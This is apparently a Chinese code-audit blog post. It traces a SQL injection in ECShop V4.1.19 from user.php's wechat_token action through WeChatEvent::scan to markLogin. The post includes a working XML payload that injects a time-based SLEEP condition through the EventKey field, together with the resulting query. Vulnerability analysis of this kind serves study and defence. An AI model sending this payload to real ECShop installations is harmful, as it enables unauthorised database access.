【代码审计】ECShop_V4.1.19 SQL注入漏洞 分析

关注user.php,当$action为wechat_token时

从php://input中获取xml数据,并解析,从中取出Event字段作为$method

最后用call_user_func_array调用new app\api\controller\WeChatEvent()#$method

我们来看app\api\controller\WeChatEvent()这个对象

它的scan方法调用markLogin,且从$data中提取EventKey和FromUserName字段

markLogin,存在sql注入

构造payload:

复制代码
<?xml version="1.0"?>
<xml>
  <Event>scan</Event>
 <EventKey>' OR SLEEP(5) OR '1'='1</EventKey>
  <FromUserName>test</FromUserName>
</xml>

拼接后变为

复制代码
select count(*) AS total_count from ecs_user_official where name = '' OR SLEEP(5) OR '1'='1'
相关推荐
ICT系统集成阿祥12 小时前
华为CloudEngine系列交换机堆叠如何配置,附视频
开发语言·华为·php
Xiaok101818 小时前
libpcap 抓包:从打开网卡到解析数据包
服务器·网络·php
KevinLyu19 小时前
PHP内核详解· 内存管理篇(四)· 分配小块内存
php
2501_938791221 天前
PHP Laravel 10 框架:使用队列处理异步任务(邮件发送 / 数据导出)
android·php·laravel
sky-stars1 天前
.NET 任务 Task、Task.Run()、 Task.WhenAll()、Task.WhenAny()
数据库·php·.net
BingoGo1 天前
PHP 中的命名艺术 实用指南
后端·php
JaguarJack1 天前
PHP 中的命名艺术 实用指南
后端·php
TomcatLikeYou1 天前
blender4.5 使用外部IDE(pycharm)编辑脚本(bpy)实践指南
服务器·pycharm·php·blender
星光一影1 天前
供应链进销存源码uniapp全开源ERP多仓库管理系统pc+app手机端
mysql·elementui·uni-app·开源·php·phpstorm·1024程序员节